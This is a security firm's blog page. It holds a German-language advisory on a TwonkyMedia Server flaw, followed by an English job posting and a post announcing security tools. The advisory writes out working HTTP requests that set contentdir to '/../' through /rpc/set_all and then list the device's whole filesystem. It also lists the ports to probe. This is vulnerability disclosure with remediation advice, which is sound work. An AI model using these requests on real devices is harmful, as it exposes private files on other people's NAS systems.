Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.
Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:
- Thecus N2310
- Thecus N4560
- WDMyCloud
- MyCloudEX2Ultra
- WDMyCloudEX4
- WDMyCloudEX2100
- QNAP
- Zyxel NAS326
- Zyxel NAS542
- Zyxel NSA310
- Zyxel NSA310S
- Zyxel NSA320
- Zyxel NSA325-v2
- Belkin routers
- Zyxel EMG2926-Q10A
- ...
Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.
Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.
HTTP Anfrage:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest Connection: close
HTTP Antwort:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en Content-Length: 83 Date: Thu, 18 Jan 2018 12:16:43 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001DNas_Prog 002DPublic 003Fraid_version.txt 004DSmartWare 005DTimeMachineBackup
Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)
Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:
Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?
Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:
HTTP Anfrage:
POST /rpc/set_all HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 19 DNT: 1 Connection: close contentdir=/../
Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:
HTTP Anfrage:
GET /rpc/dir?path= HTTP/1.1 Host: 192.168.188.9:9000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.188.9:9000/ X-Requested-With: XMLHttpRequest DNT: 1 Connection: close
HTTP Antwort:
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: de Content-Length: 243 Date: Wed, 28 Mar 2018 02:28:12 GMT Accept-Ranges: bytes Connection: close Expires: 0 Pragma: no-cache Cache-Control: no-cache EXT: Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1 / 001D/ 002D/bin 003D/boot 004D/CacheVolume 005D/DataVolume 006D/dev 007D/etc 008D/home 009D/lib 010D/media 011D/mnt 012D/nfs 013D/opt 014D/proc 015D/root 016D/run 017D/sbin 018D/shares 019D/srv 020D/sys 021D/system 022D/tmp 023D/usr 024D/var
Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.
Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.
Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.
Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.
modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.
2018-03-20
Uncle Kerckhoffs wants YOU!
You're a hacker from the bottom of your heart? You don't mind moving to Berlin or Zurich? We'd like to have a chat with you!
We're currently looking for talented hackers to extend our teams in Berlin and Zurich/Winterthur.
IT-Security Analyst - Generalist with focus on certain in-depth areas
You already have experience, working as IT Security Consultant or managing product security in soft- and hardware manufacturing companies. In addition to a broad knowledge in general IT-security related areas, you also have the vision to deepen your knowledge on specific topics.
The most important skills that are required are the following:
- Penetration Testing — you know the tools that assists with all sorts of penetration tests, and you know how to read its resulting output.
- Threat-Modeling and Risk-Assessments — the skill to prepare your tools and targets in a structured manner.
- Creativity — the skill to spot that thing, that turns an objective into something broken.
- Reporting — Explain, write and defend your findings. The skill to push the business-value of your other skills. You must be able to perform proper reporting in English or German language.
- Passion — your personal security deep-dive: a technology or methodology you're focusing on.
In addition to these must-have skills, the following are nice to have:
- Reverse Engineering — the art of illuminating the dark corners of binary code & data, communication protocols and hardware-solutions.
- Source Code Assessments in C, C++, C#, Java, Swift, Objective-C, JavaScript.
- Cryptography — it's definitely a super-bonus, if your eyebrow raises when you hear people saying the product is secure because of cryptography. You know how to spot and exploit potential side-channels, and how to properly use certain cryptographic algorithms.
Junior Hacker
If you don't have the business experience of a consultant, we may want you to extend our team as a Junior Security Consultant. If you bring the necessary skills, we may close the gaps, supporting you with specializing on certain areas in the IT security industry.
What do you need?
- Passion — You bring the vision and we'll help you, turning it into a professional service.
- Creativity — What could possibly go wrong? You have the idea, already.
- Patience — Breaking the unbreakable stuff. Your tenacity is the door-opener to the wonderful world of destruction.
... and of course, quite some technological background.
Your tasks
- Black-/White-/Gray-Box Penetration Tests of networks, services and solutions.
- Review of software and hardware components in source-code and/or binary form.
- Threat Analysis along with the individual business-model of our clients.
- Review of white-papers, architectural- and design-specs and continuous support during the whole Product Development Lifecycle processes.
Our tasks
modzero provides IT security consulting to customers from different civil sections and industries. We reject working on offensive and defensive technologies with military, intelligence, or police investigation. We discuss all governmental inquiries with our colleagues.
This is what we will take care of:
- You work with a great and open-minded team in Switzerland and Germany.
- Your time: If you want to work part-time, talk to us.
- Research — we support your project and your development with research-time.
- Insights into a broad range of interesting, different industries and technologies.
- Regular internal company meetups with workshop-program and good food.
- Salary — we pay for your skills and execute regular, individual interviews on development and expectation of employees.
Application
Please send your application to jobs [at] modzero [dot] ch. Use PGP to sign and encrypt your documents — Find our PGP key right here: https://www.modzero.ch/pgp/jobs_modzero.ch.asc If you'd rather work as a freelancing hired gun, let us know why and don't hesitate to send your resume.
2018-02-14
Release of some security tools
At modzero we do a lot of security testing and, on a regular basis, we write tools to do our work more efficiently. This week Jan Girlich and Tobias Ospelt of modzero took some time to review some of their tools and make three of them available to the public on GitHub.
Jan wrote a Proof of Concept (PoC) Android app that allows exploiting Java object deserialization vulnerabilities in Android and named this project modjoda (modzero Java Object Deserialization on Android). To test the issue, he also wrote a vulnerable demo application to try the exploit on.
mod0schubser was written by Tobias and provides a simple TCP- and TLS-level Man-In-The-Middle (MITM) proxy for people with Python experience. It can be used when all the other proxy tools seem to be too complicated. Additionally, he wrote mod0cookiedealer, a tool to demonstrate the impact of missing HTTP cookie flags (secure and HTTPonly). If you remember Firesheep, mod0cookiedealer is simply a modern implementation of Firesheep as a browser web-extension.
Posted by Jan Girlich, Tobias Ospelt | Permanent link | File under: mobile, security, opensource, software, github